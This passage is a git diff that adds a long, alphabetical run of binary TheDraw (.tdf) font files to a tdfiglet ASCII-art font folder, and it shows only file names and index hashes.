diff --git a/art/tdfiglet/fonts/darkers2.tdf b/art/tdfiglet/fonts/darkers2.tdf
new file mode 100644
index 0000000..e490bcf
Binary files /dev/null and b/art/tdfiglet/fonts/darkers2.tdf differ
diff --git a/art/tdfiglet/fonts/darklanx.tdf b/art/tdfiglet/fonts/darklanx.tdf
new file mode 100644
index 0000000..383d5c2
Binary files /dev/null and b/art/tdfiglet/fonts/darklanx.tdf differ
diff --git a/art/tdfiglet/fonts/darklitx.tdf b/art/tdfiglet/fonts/darklitx.tdf
new file mode 100644
index 0000000..6a370e3
Binary files /dev/null and b/art/tdfiglet/fonts/darklitx.tdf differ
diff --git a/art/tdfiglet/fonts/darkmoon.tdf b/art/tdfiglet/fonts/darkmoon.tdf
new file mode 100644
index 0000000..7521b61
Binary files /dev/null and b/art/tdfiglet/fonts/darkmoon.tdf differ
diff --git a/art/tdfiglet/fonts/darkn2sx.tdf b/art/tdfiglet/fonts/darkn2sx.tdf
new file mode 100644
index 0000000..35e31a7
Binary files /dev/null and b/art/tdfiglet/fonts/darkn2sx.tdf differ
diff --git a/art/tdfiglet/fonts/darknses.tdf b/art/tdfiglet/fonts/darknses.tdf
new file mode 100644
index 0000000..5caad43
Binary files /dev/null and b/art/tdfiglet/fonts/darknses.tdf differ
diff --git a/art/tdfiglet/fonts/darksidx.tdf b/art/tdfiglet/fonts/darksidx.tdf
new file mode 100644
index 0000000..d314d38
Binary files /dev/null and b/art/tdfiglet/fonts/darksidx.tdf differ
diff --git a/art/tdfiglet/fonts/darksun.tdf b/art/tdfiglet/fonts/darksun.tdf
new file mode 100644
index 0000000..24f1791
Binary files /dev/null and b/art/tdfiglet/fonts/darksun.tdf differ
diff --git a/art/tdfiglet/fonts/darksunx.tdf b/art/tdfiglet/fonts/darksunx.tdf
new file mode 100644
index 0000000..828610d
Binary files /dev/null and b/art/tdfiglet/fonts/darksunx.tdf differ
diff --git a/art/tdfiglet/fonts/darktwo.tdf b/art/tdfiglet/fonts/darktwo.tdf
new file mode 100644
index 0000000..037576c
Binary files /dev/null and b/art/tdfiglet/fonts/darktwo.tdf differ
diff --git a/art/tdfiglet/fonts/darrell.tdf b/art/tdfiglet/fonts/darrell.tdf
new file mode 100644
index 0000000..9579ed0
Binary files /dev/null and b/art/tdfiglet/fonts/darrell.tdf differ
diff --git a/art/tdfiglet/fonts/darrellx.tdf b/art/tdfiglet/fonts/darrellx.tdf
new file mode 100644
index 0000000..4d00894
Binary files /dev/null and b/art/tdfiglet/fonts/darrellx.tdf differ
diff --git a/art/tdfiglet/fonts/dcfont.tdf b/art/tdfiglet/fonts/dcfont.tdf
new file mode 100644
index 0000000..859dd12
Binary files /dev/null and b/art/tdfiglet/fonts/dcfont.tdf differ
diff --git a/art/tdfiglet/fonts/dcp_1.tdf b/art/tdfiglet/fonts/dcp_1.tdf
new file mode 100644
index 0000000..e7491d9
Binary files /dev/null and b/art/tdfiglet/fonts/dcp_1.tdf differ
diff --git a/art/tdfiglet/fonts/deadrelm.tdf b/art/tdfiglet/fonts/deadrelm.tdf
new file mode 100644
index 0000000..1446a50
Binary files /dev/null and b/art/tdfiglet/fonts/deadrelm.tdf differ
diff --git a/art/tdfiglet/fonts/deadstar.tdf b/art/tdfiglet/fonts/deadstar.tdf
new file mode 100644
index 0000000..1f220a6
Binary files /dev/null and b/art/tdfiglet/fonts/deadstar.tdf differ
diff --git a/art/tdfiglet/fonts/deadstrx.tdf b/art/tdfiglet/fonts/deadstrx.tdf
new file mode 100644
index 0000000..cb6f882
Binary files /dev/null and b/art/tdfiglet/fonts/deadstrx.tdf differ
diff --git a/art/tdfiglet/fonts/death.tdf b/art/tdfiglet/fonts/death.tdf
new file mode 100644
index 0000000..6d1845d
Binary files /dev/null and b/art/tdfiglet/fonts/death.tdf differ
diff --git a/art/tdfiglet/fonts/deathrow.tdf b/art/tdfiglet/fonts/deathrow.tdf
new file mode 100644
index 0000000..3967296
Binary files /dev/null and b/art/tdfiglet/fonts/deathrow.tdf differ
diff --git a/art/tdfiglet/fonts/deathx.tdf b/art/tdfiglet/fonts/deathx.tdf
new file mode 100644
index 0000000..81e7675
Binary files /dev/null and b/art/tdfiglet/fonts/deathx.tdf differ
diff --git a/art/tdfiglet/fonts/deep.tdf b/art/tdfiglet/fonts/deep.tdf
new file mode 100644
index 0000000..9634ab2
Binary files /dev/null and b/art/tdfiglet/fonts/deep.tdf differ
diff --git a/art/tdfiglet/fonts/dellx.tdf b/art/tdfiglet/fonts/dellx.tdf
new file mode 100644
index 0000000..6e62131
Binary files /dev/null and b/art/tdfiglet/fonts/dellx.tdf differ
diff --git a/art/tdfiglet/fonts/delusion.tdf b/art/tdfiglet/fonts/delusion.tdf
new file mode 100644
index 0000000..75811cc
Binary files /dev/null and b/art/tdfiglet/fonts/delusion.tdf differ
diff --git a/art/tdfiglet/fonts/demonclx.tdf b/art/tdfiglet/fonts/demonclx.tdf
new file mode 100644
index 0000000..428fcd9
Binary files /dev/null and b/art/tdfiglet/fonts/demonclx.tdf differ
diff --git a/art/tdfiglet/fonts/demonic.tdf b/art/tdfiglet/fonts/demonic.tdf
new file mode 100644
index 0000000..6a965dc
Binary files /dev/null and b/art/tdfiglet/fonts/demonic.tdf differ
diff --git a/art/tdfiglet/fonts/denied.tdf b/art/tdfiglet/fonts/denied.tdf
new file mode 100644
index 0000000..e915029
Binary files /dev/null and b/art/tdfiglet/fonts/denied.tdf differ
diff --git a/art/tdfiglet/fonts/descentx.tdf b/art/tdfiglet/fonts/descentx.tdf
new file mode 100644
index 0000000..7d30ae9
Binary files /dev/null and b/art/tdfiglet/fonts/descentx.tdf differ
diff --git a/art/tdfiglet/fonts/descntsx.tdf b/art/tdfiglet/fonts/descntsx.tdf
new file mode 100644
index 0000000..f2fcf6c
Binary files /dev/null and b/art/tdfiglet/fonts/descntsx.tdf differ
diff --git a/art/tdfiglet/fonts/desertx.tdf b/art/tdfiglet/fonts/desertx.tdf
new file mode 100644
index 0000000..8da760f
Binary files /dev/null and b/art/tdfiglet/fonts/desertx.tdf differ
diff --git a/art/tdfiglet/fonts/desnudo.tdf b/art/tdfiglet/fonts/desnudo.tdf
new file mode 100644
index 0000000..28eda8f
Binary files /dev/null and b/art/tdfiglet/fonts/desnudo.tdf differ
diff --git a/art/tdfiglet/fonts/destinx.tdf b/art/tdfiglet/fonts/destinx.tdf
new file mode 100644
index 0000000..d3496f0
Binary files /dev/null and b/art/tdfiglet/fonts/destinx.tdf differ
diff --git a/art/tdfiglet/fonts/destny2x.tdf b/art/tdfiglet/fonts/destny2x.tdf
new file mode 100644
index 0000000..f389f52
Binary files /dev/null and b/art/tdfiglet/fonts/destny2x.tdf differ
diff --git a/art/tdfiglet/fonts/destrucx.tdf b/art/tdfiglet/fonts/destrucx.tdf
new file mode 100644
index 0000000..b09cd5c
Binary files /dev/null and b/art/tdfiglet/fonts/destrucx.tdf differ
diff --git a/art/tdfiglet/fonts/developx.tdf b/art/tdfiglet/fonts/developx.tdf
new file mode 100644
index 0000000..d864e25
Binary files /dev/null and b/art/tdfiglet/fonts/developx.tdf differ
diff --git a/art/tdfiglet/fonts/dgmotiox.tdf b/art/tdfiglet/fonts/dgmotiox.tdf
new file mode 100644
index 0000000..9e57bfa
Binary files /dev/null and b/art/tdfiglet/fonts/dgmotiox.tdf differ
diff --git a/art/tdfiglet/fonts/digital2.tdf b/art/tdfiglet/fonts/digital2.tdf
new file mode 100644
index 0000000..0a7ba8b
Binary files /dev/null and b/art/tdfiglet/fonts/digital2.tdf differ
diff --git a/art/tdfiglet/fonts/digitalx.tdf b/art/tdfiglet/fonts/digitalx.tdf
new file mode 100644
index 0000000..ddbfce2
Binary files /dev/null and b/art/tdfiglet/fonts/digitalx.tdf differ
diff --git a/art/tdfiglet/fonts/digitx.tdf b/art/tdfiglet/fonts/digitx.tdf
new file mode 100644
index 0000000..352048a
Binary files /dev/null and b/art/tdfiglet/fonts/digitx.tdf differ
diff --git a/art/tdfiglet/fonts/digx.tdf b/art/tdfiglet/fonts/digx.tdf
new file mode 100644
index 0000000..61cee23
Binary files /dev/null and b/art/tdfiglet/fonts/digx.tdf differ
diff --git a/art/tdfiglet/fonts/dimentox.tdf b/art/tdfiglet/fonts/dimentox.tdf
new file mode 100644
index 0000000..81e2162
Binary files /dev/null and b/art/tdfiglet/fonts/dimentox.tdf differ
diff --git a/art/tdfiglet/fonts/dimsbolx.tdf b/art/tdfiglet/fonts/dimsbolx.tdf
new file mode 100644
index 0000000..14f6d73
Binary files /dev/null and b/art/tdfiglet/fonts/dimsbolx.tdf differ
diff --git a/art/tdfiglet/fonts/dimsslim.tdf b/art/tdfiglet/fonts/dimsslim.tdf
new file mode 100644
index 0000000..689cb53
Binary files /dev/null and b/art/tdfiglet/fonts/dimsslim.tdf differ
diff --git a/art/tdfiglet/fonts/dimsslix.tdf b/art/tdfiglet/fonts/dimsslix.tdf
new file mode 100644
index 0000000..09f9b7e
Binary files /dev/null and b/art/tdfiglet/fonts/dimsslix.tdf differ
diff --git a/art/tdfiglet/fonts/dissimux.tdf b/art/tdfiglet/fonts/dissimux.tdf
new file mode 100644
index 0000000..1650687
Binary files /dev/null and b/art/tdfiglet/fonts/dissimux.tdf differ
diff --git a/art/tdfiglet/fonts/distreax.tdf b/art/tdfiglet/fonts/distreax.tdf
new file mode 100644
index 0000000..93123c6
Binary files /dev/null and b/art/tdfiglet/fonts/distreax.tdf differ
diff --git a/art/tdfiglet/fonts/dolcex.tdf b/art/tdfiglet/fonts/dolcex.tdf
new file mode 100644
index 0000000..48e8d35
Binary files /dev/null and b/art/tdfiglet/fonts/dolcex.tdf differ
diff --git a/art/tdfiglet/fonts/dominion.tdf b/art/tdfiglet/fonts/dominion.tdf
new file mode 100644
index 0000000..5207da2
Binary files /dev/null and b/art/tdfiglet/fonts/dominion.tdf differ
diff --git a/art/tdfiglet/fonts/dominiox.tdf b/art/tdfiglet/fonts/dominiox.tdf
new file mode 100644
index 0000000..2919485
Binary files /dev/null and b/art/tdfiglet/fonts/dominiox.tdf differ
diff --git a/art/tdfiglet/fonts/donnow.tdf b/art/tdfiglet/fonts/donnow.tdf
new file mode 100644
index 0000000..fbe76bc
Binary files /dev/null and b/art/tdfiglet/fonts/donnow.tdf differ
diff --git a/art/tdfiglet/fonts/doorsx.tdf b/art/tdfiglet/fonts/doorsx.tdf
new file mode 100644
index 0000000..b31b32c
Binary files /dev/null and b/art/tdfiglet/fonts/doorsx.tdf differ
diff --git a/art/tdfiglet/fonts/dope.tdf b/art/tdfiglet/fonts/dope.tdf
new file mode 100644
index 0000000..76da9f1
Binary files /dev/null and b/art/tdfiglet/fonts/dope.tdf differ
diff --git a/art/tdfiglet/fonts/downfalx.tdf b/art/tdfiglet/fonts/downfalx.tdf
new file mode 100644
index 0000000..880c765
Binary files /dev/null and b/art/tdfiglet/fonts/downfalx.tdf differ
diff --git a/art/tdfiglet/fonts/dragon2x.tdf b/art/tdfiglet/fonts/dragon2x.tdf
new file mode 100644
index 0000000..c7b68e2
Binary files /dev/null and b/art/tdfiglet/fonts/dragon2x.tdf differ
diff --git a/art/tdfiglet/fonts/dragonx.tdf b/art/tdfiglet/fonts/dragonx.tdf
new file mode 100644
index 0000000..ca6ed65
Binary files /dev/null and b/art/tdfiglet/fonts/dragonx.tdf differ
diff --git a/art/tdfiglet/fonts/dreadlk.tdf b/art/tdfiglet/fonts/dreadlk.tdf
new file mode 100644
index 0000000..67cf645
Binary files /dev/null and b/art/tdfiglet/fonts/dreadlk.tdf differ
diff --git a/art/tdfiglet/fonts/dream.tdf b/art/tdfiglet/fonts/dream.tdf
new file mode 100644
index 0000000..2279568
Binary files /dev/null and b/art/tdfiglet/fonts/dream.tdf differ
diff --git a/art/tdfiglet/fonts/dreamlds.tdf b/art/tdfiglet/fonts/dreamlds.tdf
new file mode 100644
index 0000000..d607169
Binary files /dev/null and b/art/tdfiglet/fonts/dreamlds.tdf differ
diff --git a/art/tdfiglet/fonts/dreamlnx.tdf b/art/tdfiglet/fonts/dreamlnx.tdf
new file mode 100644
index 0000000..612e48f
Binary files /dev/null and b/art/tdfiglet/fonts/dreamlnx.tdf differ
diff --git a/art/tdfiglet/fonts/dreamlsx.tdf b/art/tdfiglet/fonts/dreamlsx.tdf
new file mode 100644
index 0000000..63b0169
Binary files /dev/null and b/art/tdfiglet/fonts/dreamlsx.tdf differ
diff --git a/art/tdfiglet/fonts/drgx.tdf b/art/tdfiglet/fonts/drgx.tdf
new file mode 100644
index 0000000..beb4f35
Binary files /dev/null and b/art/tdfiglet/fonts/drgx.tdf differ
diff --git a/art/tdfiglet/fonts/drkers1x.tdf b/art/tdfiglet/fonts/drkers1x.tdf
new file mode 100644
index 0000000..7265162
Binary files /dev/null and b/art/tdfiglet/fonts/drkers1x.tdf differ
diff --git a/art/tdfiglet/fonts/drkers2x.tdf b/art/tdfiglet/fonts/drkers2x.tdf
new file mode 100644
index 0000000..e9840ac
Binary files /dev/null and b/art/tdfiglet/fonts/drkers2x.tdf differ
diff --git a/art/tdfiglet/fonts/drkimagx.tdf b/art/tdfiglet/fonts/drkimagx.tdf
new file mode 100644
index 0000000..8524982
Binary files /dev/null and b/art/tdfiglet/fonts/drkimagx.tdf differ
diff --git a/art/tdfiglet/fonts/drkmoonx.tdf b/art/tdfiglet/fonts/drkmoonx.tdf
new file mode 100644
index 0000000..601b61a
Binary files /dev/null and b/art/tdfiglet/fonts/drkmoonx.tdf differ
diff --git a/art/tdfiglet/fonts/drkrealm.tdf b/art/tdfiglet/fonts/drkrealm.tdf
new file mode 100644
index 0000000..6d286d3
Binary files /dev/null and b/art/tdfiglet/fonts/drkrealm.tdf differ
diff --git a/art/tdfiglet/fonts/drksocty.tdf b/art/tdfiglet/fonts/drksocty.tdf
new file mode 100644
index 0000000..fe90cf6
Binary files /dev/null and b/art/tdfiglet/fonts/drksocty.tdf differ
diff --git a/art/tdfiglet/fonts/drome.tdf b/art/tdfiglet/fonts/drome.tdf
new file mode 100644
index 0000000..d2cb496
Binary files /dev/null and b/art/tdfiglet/fonts/drome.tdf differ
diff --git a/art/tdfiglet/fonts/drumsx.tdf b/art/tdfiglet/fonts/drumsx.tdf
new file mode 100644
index 0000000..cb561cc
Binary files /dev/null and b/art/tdfiglet/fonts/drumsx.tdf differ
diff --git a/art/tdfiglet/fonts/dsktdwnx.tdf b/art/tdfiglet/fonts/dsktdwnx.tdf
new file mode 100644
index 0000000..76beb7a
Binary files /dev/null and b/art/tdfiglet/fonts/dsktdwnx.tdf differ
diff --git a/art/tdfiglet/fonts/dungeon2.tdf b/art/tdfiglet/fonts/dungeon2.tdf
new file mode 100644
index 0000000..170e602
Binary files /dev/null and b/art/tdfiglet/fonts/dungeon2.tdf differ
diff --git a/art/tdfiglet/fonts/dungeonx.tdf b/art/tdfiglet/fonts/dungeonx.tdf
new file mode 100644
index 0000000..a392fc1
Binary files /dev/null and b/art/tdfiglet/fonts/dungeonx.tdf differ
diff --git a/art/tdfiglet/fonts/dustnbnx.tdf b/art/tdfiglet/fonts/dustnbnx.tdf
new file mode 100644
index 0000000..4e9cad5
Binary files /dev/null and b/art/tdfiglet/fonts/dustnbnx.tdf differ
diff --git a/art/tdfiglet/fonts/dynasty.tdf b/art/tdfiglet/fonts/dynasty.tdf
new file mode 100644
index 0000000..36c984d
Binary files /dev/null and b/art/tdfiglet/fonts/dynasty.tdf differ
diff --git a/art/tdfiglet/fonts/dynastyx.tdf b/art/tdfiglet/fonts/dynastyx.tdf
new file mode 100644
index 0000000..a375808
Binary files /dev/null and b/art/tdfiglet/fonts/dynastyx.tdf differ
diff --git a/art/tdfiglet/fonts/eatmex.tdf b/art/tdfiglet/fonts/eatmex.tdf
new file mode 100644
index 0000000..40fac88
Binary files /dev/null and b/art/tdfiglet/fonts/eatmex.tdf differ
diff --git a/art/tdfiglet/fonts/eberusx.tdf b/art/tdfiglet/fonts/eberusx.tdf
new file mode 100644
index 0000000..30b8ebb
Binary files /dev/null and b/art/tdfiglet/fonts/eberusx.tdf differ
diff --git a/art/tdfiglet/fonts/eclipse2.tdf b/art/tdfiglet/fonts/eclipse2.tdf
new file mode 100644
index 0000000..9f10beb
Binary files /dev/null and b/art/tdfiglet/fonts/eclipse2.tdf differ
diff --git a/art/tdfiglet/fonts/eclipsex.tdf b/art/tdfiglet/fonts/eclipsex.tdf
new file mode 100644
index 0000000..eb70f25
Binary files /dev/null and b/art/tdfiglet/fonts/eclipsex.tdf differ
diff --git a/art/tdfiglet/fonts/eclpse2x.tdf b/art/tdfiglet/fonts/eclpse2x.tdf
new file mode 100644
index 0000000..3fbf520
Binary files /dev/null and b/art/tdfiglet/fonts/eclpse2x.tdf differ
diff --git a/art/tdfiglet/fonts/ecox.tdf b/art/tdfiglet/fonts/ecox.tdf
new file mode 100644
index 0000000..adc4daf
Binary files /dev/null and b/art/tdfiglet/fonts/ecox.tdf differ
diff --git a/art/tdfiglet/fonts/eleuthix.tdf b/art/tdfiglet/fonts/eleuthix.tdf
new file mode 100644
index 0000000..0593214
Binary files /dev/null and b/art/tdfiglet/fonts/eleuthix.tdf differ
diff --git a/art/tdfiglet/fonts/eleventh.tdf b/art/tdfiglet/fonts/eleventh.tdf
new file mode 100644
index 0000000..8dea547
Binary files /dev/null and b/art/tdfiglet/fonts/eleventh.tdf differ
diff --git a/art/tdfiglet/fonts/elusivex.tdf b/art/tdfiglet/fonts/elusivex.tdf
new file mode 100644
index 0000000..2585f57
Binary files /dev/null and b/art/tdfiglet/fonts/elusivex.tdf differ
diff --git a/art/tdfiglet/fonts/emberx.tdf b/art/tdfiglet/fonts/emberx.tdf
new file mode 100644
index 0000000..b8eb86b
Binary files /dev/null and b/art/tdfiglet/fonts/emberx.tdf differ
diff --git a/art/tdfiglet/fonts/empi.tdf b/art/tdfiglet/fonts/empi.tdf
new file mode 100644
index 0000000..d125cb6
Binary files /dev/null and b/art/tdfiglet/fonts/empi.tdf differ
diff --git a/art/tdfiglet/fonts/empiresx.tdf b/art/tdfiglet/fonts/empiresx.tdf
new file mode 100644
index 0000000..ef5bd85
Binary files /dev/null and b/art/tdfiglet/fonts/empiresx.tdf differ
diff --git a/art/tdfiglet/fonts/emsx.tdf b/art/tdfiglet/fonts/emsx.tdf
new file mode 100644
index 0000000..d44ac14
Binary files /dev/null and b/art/tdfiglet/fonts/emsx.tdf differ
diff --git a/art/tdfiglet/fonts/endless.tdf b/art/tdfiglet/fonts/endless.tdf
new file mode 100644
index 0000000..2e91ac7
Binary files /dev/null and b/art/tdfiglet/fonts/endless.tdf differ
diff --git a/art/tdfiglet/fonts/energyx.tdf b/art/tdfiglet/fonts/energyx.tdf
new file mode 100644
index 0000000..8f78f8e
Binary files /dev/null and b/art/tdfiglet/fonts/energyx.tdf differ
diff --git a/art/tdfiglet/fonts/erthbnd2.tdf b/art/tdfiglet/fonts/erthbnd2.tdf
new file mode 100644
index 0000000..92d7b1f
Binary files /dev/null and b/art/tdfiglet/fonts/erthbnd2.tdf differ
diff --git a/art/tdfiglet/fonts/erthbond.tdf b/art/tdfiglet/fonts/erthbond.tdf
new file mode 100644
index 0000000..aaa3526
Binary files /dev/null and b/art/tdfiglet/fonts/erthbond.tdf differ
diff --git a/art/tdfiglet/fonts/escape2.tdf b/art/tdfiglet/fonts/escape2.tdf
new file mode 100644
index 0000000..d009a6e
Binary files /dev/null and b/art/tdfiglet/fonts/escape2.tdf differ
diff --git a/art/tdfiglet/fonts/escapex.tdf b/art/tdfiglet/fonts/escapex.tdf
new file mode 100644
index 0000000..26d22aa
Binary files /dev/null and b/art/tdfiglet/fonts/escapex.tdf differ
diff --git a/art/tdfiglet/fonts/eterna2x.tdf b/art/tdfiglet/fonts/eterna2x.tdf
new file mode 100644
index 0000000..be7322c
Binary files /dev/null and b/art/tdfiglet/fonts/eterna2x.tdf differ
diff --git a/art/tdfiglet/fonts/eternal2.tdf b/art/tdfiglet/fonts/eternal2.tdf
new file mode 100644
index 0000000..a900024
Binary files /dev/null and b/art/tdfiglet/fonts/eternal2.tdf differ
diff --git a/art/tdfiglet/fonts/eternalx.tdf b/art/tdfiglet/fonts/eternalx.tdf
new file mode 100644
index 0000000..5ca7ba1
Binary files /dev/null and b/art/tdfiglet/fonts/eternalx.tdf differ
diff --git a/art/tdfiglet/fonts/eternitx.tdf b/art/tdfiglet/fonts/eternitx.tdf
new file mode 100644
index 0000000..3001adf
Binary files /dev/null and b/art/tdfiglet/fonts/eternitx.tdf differ
diff --git a/art/tdfiglet/fonts/etherx.tdf b/art/tdfiglet/fonts/etherx.tdf
new file mode 100644
index 0000000..82052b9
Binary files /dev/null and b/art/tdfiglet/fonts/etherx.tdf differ
diff --git a/art/tdfiglet/fonts/euphorix.tdf b/art/tdfiglet/fonts/euphorix.tdf
new file mode 100644
index 0000000..7539c7a
Binary files /dev/null and b/art/tdfiglet/fonts/euphorix.tdf differ
diff --git a/art/tdfiglet/fonts/evilx.tdf b/art/tdfiglet/fonts/evilx.tdf
new file mode 100644
index 0000000..fc48795
Binary files /dev/null and b/art/tdfiglet/fonts/evilx.tdf differ
diff --git a/art/tdfiglet/fonts/evlacidx.tdf b/art/tdfiglet/fonts/evlacidx.tdf
new file mode 100644
index 0000000..9e4ca0f
Binary files /dev/null and b/art/tdfiglet/fonts/evlacidx.tdf differ
diff --git a/art/tdfiglet/fonts/evolutx.tdf b/art/tdfiglet/fonts/evolutx.tdf
new file mode 100644
index 0000000..39e210c
Binary files /dev/null and b/art/tdfiglet/fonts/evolutx.tdf differ
diff --git a/art/tdfiglet/fonts/evolve.tdf b/art/tdfiglet/fonts/evolve.tdf
new file mode 100644
index 0000000..22b6ab3
Binary files /dev/null and b/art/tdfiglet/fonts/evolve.tdf differ
diff --git a/art/tdfiglet/fonts/exilansa.tdf b/art/tdfiglet/fonts/exilansa.tdf
new file mode 100644
index 0000000..4dc6341
Binary files /dev/null and b/art/tdfiglet/fonts/exilansa.tdf differ
diff --git a/art/tdfiglet/fonts/exile.tdf b/art/tdfiglet/fonts/exile.tdf
new file mode 100644
index 0000000..afa8fb8
Binary files /dev/null and b/art/tdfiglet/fonts/exile.tdf differ
diff --git a/art/tdfiglet/fonts/exilians.tdf b/art/tdfiglet/fonts/exilians.tdf
new file mode 100644
index 0000000..a1a8f1a
Binary files /dev/null and b/art/tdfiglet/fonts/exilians.tdf differ
diff --git a/art/tdfiglet/fonts/exodus2x.tdf b/art/tdfiglet/fonts/exodus2x.tdf
new file mode 100644
index 0000000..e3f2abe
Binary files /dev/null and b/art/tdfiglet/fonts/exodus2x.tdf differ
diff --git a/art/tdfiglet/fonts/exodusx.tdf b/art/tdfiglet/fonts/exodusx.tdf
new file mode 100644
index 0000000..c4fb6d6
Binary files /dev/null and b/art/tdfiglet/fonts/exodusx.tdf differ
diff --git a/art/tdfiglet/fonts/explorax.tdf b/art/tdfiglet/fonts/explorax.tdf
new file mode 100644
index 0000000..66121e7
Binary files /dev/null and b/art/tdfiglet/fonts/explorax.tdf differ
diff --git a/art/tdfiglet/fonts/explosox.tdf b/art/tdfiglet/fonts/explosox.tdf
new file mode 100644
index 0000000..c6a73d9
Binary files /dev/null and b/art/tdfiglet/fonts/explosox.tdf differ
diff --git a/art/tdfiglet/fonts/extasyx.tdf b/art/tdfiglet/fonts/extasyx.tdf
new file mode 100644
index 0000000..7bd2e4b
Binary files /dev/null and b/art/tdfiglet/fonts/extasyx.tdf differ
diff --git a/art/tdfiglet/fonts/fa!-#2.tdf b/art/tdfiglet/fonts/fa!-#2.tdf
new file mode 100644
index 0000000..43ebc40
Binary files /dev/null and b/art/tdfiglet/fonts/fa!-#2.tdf differ
diff --git a/art/tdfiglet/fonts/faithx.tdf b/art/tdfiglet/fonts/faithx.tdf
new file mode 100644
index 0000000..c47c186
Binary files /dev/null and b/art/tdfiglet/fonts/faithx.tdf differ
diff --git a/art/tdfiglet/fonts/falconsx.tdf b/art/tdfiglet/fonts/falconsx.tdf
new file mode 100644
index 0000000..36024a0
Binary files /dev/null and b/art/tdfiglet/fonts/falconsx.tdf differ
diff --git a/art/tdfiglet/fonts/fantasyx.tdf b/art/tdfiglet/fonts/fantasyx.tdf
new file mode 100644
index 0000000..cc389f4
Binary files /dev/null and b/art/tdfiglet/fonts/fantasyx.tdf differ
diff --git a/art/tdfiglet/fonts/fastlane.tdf b/art/tdfiglet/fonts/fastlane.tdf
new file mode 100644
index 0000000..e141938
Binary files /dev/null and b/art/tdfiglet/fonts/fastlane.tdf differ
diff --git a/art/tdfiglet/fonts/fatalx.tdf b/art/tdfiglet/fonts/fatalx.tdf
new file mode 100644
index 0000000..1c12e3a
Binary files /dev/null and b/art/tdfiglet/fonts/fatalx.tdf differ
diff --git a/art/tdfiglet/fonts/fb-coldx.tdf b/art/tdfiglet/fonts/fb-coldx.tdf
new file mode 100644
index 0000000..7260b36
Binary files /dev/null and b/art/tdfiglet/fonts/fb-coldx.tdf differ
diff --git a/art/tdfiglet/fonts/fb-fogft.tdf b/art/tdfiglet/fonts/fb-fogft.tdf
new file mode 100644
index 0000000..a79ac8e
Binary files /dev/null and b/art/tdfiglet/fonts/fb-fogft.tdf differ
diff --git a/art/tdfiglet/fonts/fb-gothx.tdf b/art/tdfiglet/fonts/fb-gothx.tdf
new file mode 100644
index 0000000..8c8608c
Binary files /dev/null and b/art/tdfiglet/fonts/fb-gothx.tdf differ
diff --git a/art/tdfiglet/fonts/fb-grayx.tdf b/art/tdfiglet/fonts/fb-grayx.tdf
new file mode 100644
index 0000000..e7d219c
Binary files /dev/null and b/art/tdfiglet/fonts/fb-grayx.tdf differ
diff --git a/art/tdfiglet/fonts/fb-icefx.tdf b/art/tdfiglet/fonts/fb-icefx.tdf
new file mode 100644
index 0000000..43167f3
Binary files /dev/null and b/art/tdfiglet/fonts/fb-icefx.tdf differ
diff --git a/art/tdfiglet/fonts/fb-oldsd.tdf b/art/tdfiglet/fonts/fb-oldsd.tdf
new file mode 100644
index 0000000..ac39a34
Binary files /dev/null and b/art/tdfiglet/fonts/fb-oldsd.tdf differ
diff --git a/art/tdfiglet/fonts/fb-redsd.tdf b/art/tdfiglet/fonts/fb-redsd.tdf
new file mode 100644
index 0000000..f21ab8c
Binary files /dev/null and b/art/tdfiglet/fonts/fb-redsd.tdf differ
diff --git a/art/tdfiglet/fonts/fbr.tdf b/art/tdfiglet/fonts/fbr.tdf
new file mode 100644
index 0000000..4fb75e1
Binary files /dev/null and b/art/tdfiglet/fonts/fbr.tdf differ
diff --git a/art/tdfiglet/fonts/fbrx.tdf b/art/tdfiglet/fonts/fbrx.tdf
new file mode 100644
index 0000000..08bed4a
Binary files /dev/null and b/art/tdfiglet/fonts/fbrx.tdf differ
diff --git a/art/tdfiglet/fonts/fear.tdf b/art/tdfiglet/fonts/fear.tdf
new file mode 100644
index 0000000..6e6ce87
Binary files /dev/null and b/art/tdfiglet/fonts/fear.tdf differ
diff --git a/art/tdfiglet/fonts/fiberx.tdf b/art/tdfiglet/fonts/fiberx.tdf
new file mode 100644
index 0000000..013a48c
Binary files /dev/null and b/art/tdfiglet/fonts/fiberx.tdf differ
diff --git a/art/tdfiglet/fonts/fields.tdf b/art/tdfiglet/fonts/fields.tdf
new file mode 100644
index 0000000..8d1f0db
Binary files /dev/null and b/art/tdfiglet/fonts/fields.tdf differ
diff --git a/art/tdfiglet/fonts/filex.tdf b/art/tdfiglet/fonts/filex.tdf
new file mode 100644
index 0000000..d7ee7c3
Binary files /dev/null and b/art/tdfiglet/fonts/filex.tdf differ
diff --git a/art/tdfiglet/fonts/final.tdf b/art/tdfiglet/fonts/final.tdf
new file mode 100644
index 0000000..0f7e926
Binary files /dev/null and b/art/tdfiglet/fonts/final.tdf differ
diff --git a/art/tdfiglet/fonts/findest2.tdf b/art/tdfiglet/fonts/findest2.tdf
new file mode 100644
index 0000000..a67ec8b
Binary files /dev/null and b/art/tdfiglet/fonts/findest2.tdf differ
diff --git a/art/tdfiglet/fonts/findstyx.tdf b/art/tdfiglet/fonts/findstyx.tdf
new file mode 100644
index 0000000..22ffc57
Binary files /dev/null and b/art/tdfiglet/fonts/findstyx.tdf differ
diff --git a/art/tdfiglet/fonts/fine.tdf b/art/tdfiglet/fonts/fine.tdf
new file mode 100644
index 0000000..ce63444
Binary files /dev/null and b/art/tdfiglet/fonts/fine.tdf differ
diff --git a/art/tdfiglet/fonts/finest.tdf b/art/tdfiglet/fonts/finest.tdf
new file mode 100644
index 0000000..611a7c7
Binary files /dev/null and b/art/tdfiglet/fonts/finest.tdf differ
diff --git a/art/tdfiglet/fonts/finestx.tdf b/art/tdfiglet/fonts/finestx.tdf
new file mode 100644
index 0000000..a52a5f2
Binary files /dev/null and b/art/tdfiglet/fonts/finestx.tdf differ
diff --git a/art/tdfiglet/fonts/fire.tdf b/art/tdfiglet/fonts/fire.tdf
new file mode 100644
index 0000000..a321af1
Binary files /dev/null and b/art/tdfiglet/fonts/fire.tdf differ
diff --git a/art/tdfiglet/fonts/fishbowl.tdf b/art/tdfiglet/fonts/fishbowl.tdf
new file mode 100644
index 0000000..9a003b1
Binary files /dev/null and b/art/tdfiglet/fonts/fishbowl.tdf differ
diff --git a/art/tdfiglet/fonts/flarex.tdf b/art/tdfiglet/fonts/flarex.tdf
new file mode 100644
index 0000000..74f3956
Binary files /dev/null and b/art/tdfiglet/fonts/flarex.tdf differ
diff --git a/art/tdfiglet/fonts/flatline.tdf b/art/tdfiglet/fonts/flatline.tdf
new file mode 100644
index 0000000..2646495
Binary files /dev/null and b/art/tdfiglet/fonts/flatline.tdf differ
diff --git a/art/tdfiglet/fonts/focspopx.tdf b/art/tdfiglet/fonts/focspopx.tdf
new file mode 100644
index 0000000..e765c32
